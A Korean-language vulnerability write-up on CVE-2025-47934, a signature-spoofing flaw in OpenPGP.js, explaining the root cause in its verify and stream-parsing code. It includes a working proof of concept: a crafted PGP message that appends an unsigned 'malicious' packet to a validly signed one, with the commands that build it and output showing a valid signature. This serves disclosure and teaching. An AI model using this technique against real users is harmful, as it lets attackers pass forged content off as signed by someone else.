[하루한줄] CVE-2025-47934: OpenPGP.js 서명 스푸핑 취약점
URL
Target
- OpenPGP.js < v5.11.3
- OpenPGP.js < v6.1.1
Explain
OpenPGP.js는 OpenPGP 표준(RFC 9580)을 구현한 자바스크립트 라이브러리로, 암호화된 이메일이나 서명된 Git 커밋 등에 사용됩니다. 이 표준은 메시지 암호화, 서명, 키 관리 기능을 제공합니다. OpenPGP 메시지는 패킷의 시퀀스로 구성되며, 각 패킷은 표준에 정의된 바이너리 프로토콜을 따릅니다. OpenPGP.js는 Mailvelope 및 Proton Mail과 같은 여러 웹 기반 이메일 클라이언트에서 사용됩니다.
PGP 메시지는 여러 패킷의 시퀀스로 구성되며, 각 패킷은 메시지, 서명, 압축 데이터 등 다양한 정보를 담을 수 있습니다. 이 구조적 유연성 때문에 메시지 내부에 불필요한 패킷이 추가될 수 있습니다.
root cause & PoC
OpenPGP.js의 패킷 처리 파이프라인에 존재하는 설계 결함으로 인해, 서명 검증 과정에서 “실제로 서명된 데이터”와 “최종 반환되는 데이터” 간의 불일치가 발생할 수 있습니다. 이는 내부의 비동기 스트림 파싱 구조와 검증 로직의 미흡한 분리 처리에 기인합니다.
const openpgp = require('openpgp');
(async () => {
// Generated using:
// cat \
// <(echo "legitimate" | gpg -s -z0) \
// <(printf "\xc8\x12\0\xcb\x0f\x62\0\0\0\0\0malicious") \
// | base64
let armoredMessage = `
-----BEGIN PGP MESSAGE-----
kA0DAAoW1Fu2hl5UcsoByxFiAGhBNptsZWdpdGltYXRlCoh1BAAWCgAdFiEEXSzQbblMQiJ8GaYN
1Fu2hl5UcsoFAmhBNpsACgkQ1Fu2hl5UcsqE0QD/bsWYHJrrrK8RM8VgB4Z3K64zWfp49BOi+x0s
9VJKyRoBALJdQhGzPwCERCANPR+KdX5ZdrX54ZpY9mriFG6O4hsFyBIAyw9iAAAAAABtYWxpY2lv
dXM=
-----END PGP MESSAGE-----`;
// public key of thomas@codean.io
const publicKeyArmored = `
-----BEGIN PGP PUBLIC KEY BLOCK-----
mDMEZSAfBhYJKwYBBAHaRw8BAQdAfdgd2yxL+pYN91ENyp/VZVdWXLjYDONG47jM
4dDZDMG0IFRob21hcyBSaW5zbWEgPHRob21hc0Bjb2RlYW4uaW8+iI8EExYIADcW
IQRdLNBtuUxCInwZpg3UW7aGXlRyygUCZSAfBgUJBaOagAIbAwQLCQgHBRUICQoL
BRYCAwEAAAoJENRbtoZeVHLKpvIBANiaDeLPyaQyHkuzB8T6ZqvfJi4dXNlsqT2F
dlUUip4ZAQDSAljghQC9jAQu8I8yMrQJd4SXD1EMH+NLNNYCDEZCC7g4BGUgHwYS
CisGAQQBl1UBBQEBB0DOFmUm2nMIda8PzTquulLLy/bFwDtSqAiK1EBqEdvbaAMB
CAeIfgQYFggAJhYhBF0s0G25TEIifBmmDdRbtoZeVHLKBQJlIB8GBQkFo5qAAhsM
AAoJENRbtoZeVHLKCE8BAJEXE6za1G6pFpaZWKBRMlCbBDSE4rc7iEn5MpC56WtQ
AQCnVhRNYBjQ7Bo/VX1rx2+6wx84EXOFmoW80F96QmN0Bw==
=Obk+
-----END PGP PUBLIC KEY BLOCK-----`;
const publicKey = await openpgp.readKey({ armoredKey: publicKeyArmored });
const message = await openpgp.readMessage({ armoredMessage });
const verificationResult = await openpgp.verify({ message, verificationKeys: publicKey });
console.log(`Signed message data: ${verificationResult.data}`);
const { verified, keyID } = verificationResult.signatures[0];
try {
await verified; // throws on invalid signature
console.log(`Verified signature by key id ${keyID.toHex()}`);
} catch (e) {
throw new Error(`Signature could not be verified: ${e.message}`);
}
})();
- 스트림 파싱의 불완전성
openpgp.readMessage()
함수는 메시지를 파싱할 때 가장 첫 번째 Literal Data 패킷만 읽고 반환합니다.- 이후에 존재하는 나머지 패킷(예: 악성 데이터)은 읽지 않은 상태로 스트림(메모리)에 남게 되며, 후속 처리가 이루어지지 않습니다.
- 이는 서명 검증 로직이 이후 데이터의 존재 여부를 인지하지 못하도록 우회할 수 있는 기반을 제공합니다.
- 검증 로직의 취약점
async verify(verificationKeys, date = new Date(), config = defaultConfig) {
const msg = this.unwrapCompressed(); // [1]
const literalDataList = msg.packets.filterByTag(enums.packet.literalData);
if (literalDataList.length !== 1) {
throw new Error('Can only verify message with one literal data packet.');
}
if (isArrayStream(msg.packets.stream)) {
msg.packets.push(...await streamReadToEnd(msg.packets.stream, _ => _ || [])); // [2]
}
const onePassSigList = msg.packets.filterByTag(enums.packet.onePassSignature).reverse();
const signatureList = msg.packets.filterByTag(enums.packet.signature);
// ...
openpgp.verify()
호출 시, 내부적으로unwrapCompressed()
함수가 동작하여 압축된 패킷만 찾아 처리합니다( [ 1 ] ).const msg = this.unwrapCompressed();
: 이 시점에서this.packets
은 아직 완전하게 파싱되지 않았으므로,unwrapCompressed()
는Compressed Data
패킷을 찾지 못하고this
(원본 패킷 리스트)를 반환합니다. 따라서 서명 유효성 검사에 사용되는literalDataList
는 “legitimate” 데이터를 포함하는Literal Data
패킷이 됩니다.unwrapCompressed() { const compressed = this.packets.filterByTag(enums.packet.compressedData); if (compressed.length) { return new Message(compressed[0].packets); } return this; }
이때 압축되지 않은 나머지 패킷은 무시되며, 검증 대상에서 제외됩니다.
- 그러나 최종적으로 반환되는
verificationResult.data
에는 이 검증되지 않은 패킷의 내용도 포함될 수 있습니다( [ 2 ]).msg.packets.push(...await streamReadToEnd(msg.packets.stream, _ => _ || []));
: 이 시점에서 서명 검증이 성공적으로 이루어진 후, 최종적으로verificationResult.data
에 실제 메시지 내용을 담기 위해streamReadToEnd()
가 호출됩니다.streamReadToEnd()
가 호출되어 스트림에 남아 있던 모든 패킷(즉,Signature
패킷과Compressed Data
패킷)이msg.packets
배열에 추가됩니다. 이제msg.packets
는 완전한 공격자의 조작된 패킷 리스트를 포함하게 됩니다.
result.data
설정 시unwrapCompressed()
재호출 및 악성 데이터 반환
...
if (signature) {
result.signatures = await message.verifyDetached(signature, verificationKeys, date, config);
} else {
result.signatures = await message.verify(verificationKeys, date, config);
}
result.data = format === 'binary' ? message.getLiteralData() : message.getText();
...
서명 유효성 검사 자체는 “legitimate” 데이터에 대해 성공적으로 수행됩니다. 그러나 openpgp.verify()
의 마지막 부분에서 result.data
를 설정하기 위해 message.getLiteralData()
(또는 message.getText()
)가 호출됩니다. 이 함수 역시 unwrapCompressed()
를 다시 호출합니다. streamReadToEnd()
호출로 인해 msg.packets
가 이제 완전한 패킷 리스트를 포함하므로, unwrapCompressed()
는 공격자가 삽입한 첫 번째 Compressed Data
패킷(악성 “malicious” 데이터를 포함하는)의 내용을 반환하게 됩니다.
결과적으로, OpenPGP.js는 “legitimate” 데이터에 대한 서명을 유효하다고 판단하면서도, 사용자에게는 verificationResult.data
또는 message.getText()
를 통해 “malicious” 데이터를 표시하게 됩니다. 이는 유효한 서명을 가진 메시지의 내용이 공격자에 의해 임의로 조작된 것처럼 보이게 만드는 스푸핑 공격으로 이어집니다. 암호화된 메시지의 경우에도 openpgp.decrypt()
가 동일한 검증 로직을 사용하므로, 복호화된 데이터는 공격자가 제어하는 “malicious” 페이로드로 반환되지만, 서명 검증 결과는 원본 “legitimate” 페이로드에 대해 계산되어 유효하다고 표시됩니다.
Signed message data: malicious
Verified signature by key id d45bb6865e5472ca:
공격 시나리오를 간단히 요약하면 이렇게 표현할 수 있습니다.
- 공격자는 정상적인 서명 메시지(예:
"Transfer $100"
에 대한 유효 서명)를 확보한 뒤, - 해당 메시지 뒤에 추가적으로 악의적인 패킷(예:
"Transfer $10,000"
)을 삽입하여 하나의 메시지로 구성합니다. - 검증 과정에서는 정상 서명된 부분(
"Transfer $100"
)만 검증되며 서명은 “유효”로 표시됩니다. - 그러나 최종적으로 반환되는 데이터는 악성 패킷까지 포함한 데이터로서, 사용자가 보기에는 정상 서명된 것으로 오인하게 됩니다.
즉, 공격자는 피해자의 기존 서명을 재사용해 임의의 메시지로 서명을 위조(spoof)할 수 있습니다
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.